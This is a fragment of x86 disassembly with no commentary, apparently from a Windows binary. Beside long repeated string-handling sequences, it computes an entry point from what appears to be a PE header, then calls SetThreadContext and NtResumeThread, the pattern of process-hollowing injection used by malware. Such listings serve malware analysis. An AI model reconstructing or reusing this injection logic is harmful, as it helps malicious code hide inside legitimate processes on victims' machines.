mov edx, eax
lea eax, [ebp - 0x2bc]
call fcn.004046a4
mov eax, dword [ebp - 0x2bc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x2c8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2c8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2c4]
call fcn.004046a4
mov eax, dword [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x2d0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2d0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2cc]
call fcn.004046a4
mov eax, dword [ebp - 0x2cc]
pop edx
call fcn.00417df4
mov eax, dword [0x43f4d0]
mov eax, dword [eax + 0x28]
add eax, dword [0x43f4d8]
mov dword [0x43f4b0], eax
push 0x43f400
mov eax, dword [0x43f3b0]
push eax
call sub.kernel32.dll_SetThreadContext
push 0
mov eax, dword [0x43f3b0]
push eax
call sub.C:WindowsSystem32_ntdll.dll_NtResumeThread
push 0x419cd0
push dword [ebx]
push 0x419d28
lea eax, [ebp - 0x2d8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2d8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2d4]
call fcn.004046a4
mov eax, dword [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x2e0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2e0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2dc]
call fcn.004046a4
mov eax, dword [ebp - 0x2dc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d04
lea eax, [ebp - 0x2e8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2e8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2e4]
call fcn.004046a4
mov eax, dword [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x2f0]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x2f0]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2ec]
call fcn.004046a4
mov eax, dword [ebp - 0x2ec]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d40
lea eax, [ebp - 0x2f8]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x2f8]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2f4]
call fcn.004046a4
mov eax, dword [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x300]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x300]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x2fc]
call fcn.004046a4
mov eax, dword [ebp - 0x2fc]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x308]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x308]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x304]
call fcn.004046a4
mov eax, dword [ebp - 0x304]
push eax
lea eax, [ebp - 0x310]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x310]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x30c]
call fcn.004046a4
mov eax, dword [ebp - 0x30c]
pop edx
call fcn.00417df4
mov eax, dword [0x43f4d0]
mov edx, dword [eax + 0x50]
mov eax, esi
call fcn.00402c2c
mov edi, dword [0x43f3b0]
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x318]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x318]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x314]
call fcn.004046a4
mov eax, dword [ebp - 0x314]
push eax
lea eax, [ebp - 0x320]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x320]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x31c]
call fcn.004046a4
mov eax, dword [ebp - 0x31c]
pop edx
call fcn.00417df4
mov ecx, 0x419d6c
mov edx, 0x419d84
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419d8c
mov edx, 0x419d84
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419dac
mov edx, 0x419d84
mov eax, dword [0x43f3ac]
call fcn.00417ca8
push 0x419cd0
push dword [ebx]
push 0x419cf0
lea eax, [ebp - 0x328]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x328]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x324]
call fcn.004046a4
mov eax, dword [ebp - 0x324]
push eax
lea eax, [ebp - 0x330]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x330]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x32c]
call fcn.004046a4
mov eax, dword [ebp - 0x32c]
pop edx
call fcn.00417df4
mov ecx, 0x419dc4
mov edx, 0x419dd8
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419de0
mov edx, 0x419dd8
mov eax, dword [0x43f3ac]
call fcn.00417ca8
push 0x419cd0
push dword [ebx]
push 0x419cdc
lea eax, [ebp - 0x334]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x334]
call fcn.0040494c
push eax
lea eax, [ebp - 0x338]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x338]
call fcn.0040494c
mov edx, eax
mov eax, dword [0x43f3ac]
pop ecx
call fcn.00417ca8
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x33c]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x33c]
call fcn.0040494c
push eax
lea eax, [ebp - 0x340]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x340]
call fcn.0040494c
mov edx, eax
mov eax, dword [0x43f3ac]
pop ecx
call fcn.00417ca8
mov ecx, 0x419de0
mov edx, 0x419dd8
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419df8
mov edx, 0x419e10
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419e1c
mov edx, 0x419e30
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419e38
mov edx, 0x419e30
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419e50
mov edx, 0x419dd8
mov eax, dword [0x43f3ac]
call fcn.00417ca8
mov ecx, 0x419e64
mov edx, 0x419dd8
mov eax, dword [0x43f3ac]
call fcn.00417ca8
push 0x419cd0
push dword [ebx]
push 0x419cdc
lea eax, [ebp - 0x348]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x348]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x344]
call fcn.004046a4
mov eax, dword [ebp - 0x344]
push eax
lea eax, [ebp - 0x350]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x350]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x34c]
call fcn.004046a4
mov eax, dword [ebp - 0x34c]
pop edx
call fcn.00417df4
push 0x419cd0
push dword [ebx]
push 0x419d14
lea eax, [ebp - 0x358]
mov edx, 3
call fcn.0040480c
mov eax, dword [ebp - 0x358]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x354]
call fcn.004046a4
mov eax, dword [ebp - 0x354]
push eax
lea eax, [ebp - 0x360]
mov ecx, dword [ebx]
mov edx, 0x419cd0
call fcn.00404798
mov eax, dword [ebp - 0x360]
call fcn.0040494c
mov edx, eax
lea eax, [ebp - 0x35c]
call fcn.004046a4
mov eax, dword [ebp - 0x35c]
pop edx
call fcn.00417df4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419cbd
lea eax, [ebp - 0x360]
mov edx, 0x64
call fcn.004044d0
lea eax, [ebp - 0x1d0]
mov edx, 0x46
call fcn.004044d0
lea eax, [ebp - 0xb8]
call fcn.00404c0c
lea eax, [ebp - 0xb4]
mov edx, 0x1c
call fcn.004044d0
lea eax, [ebp - 0x38]
call fcn.004044ac
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.004044d0
lea eax, [ebp - 0x34]
mov edx, 0xd
call fcn.004044d0
ret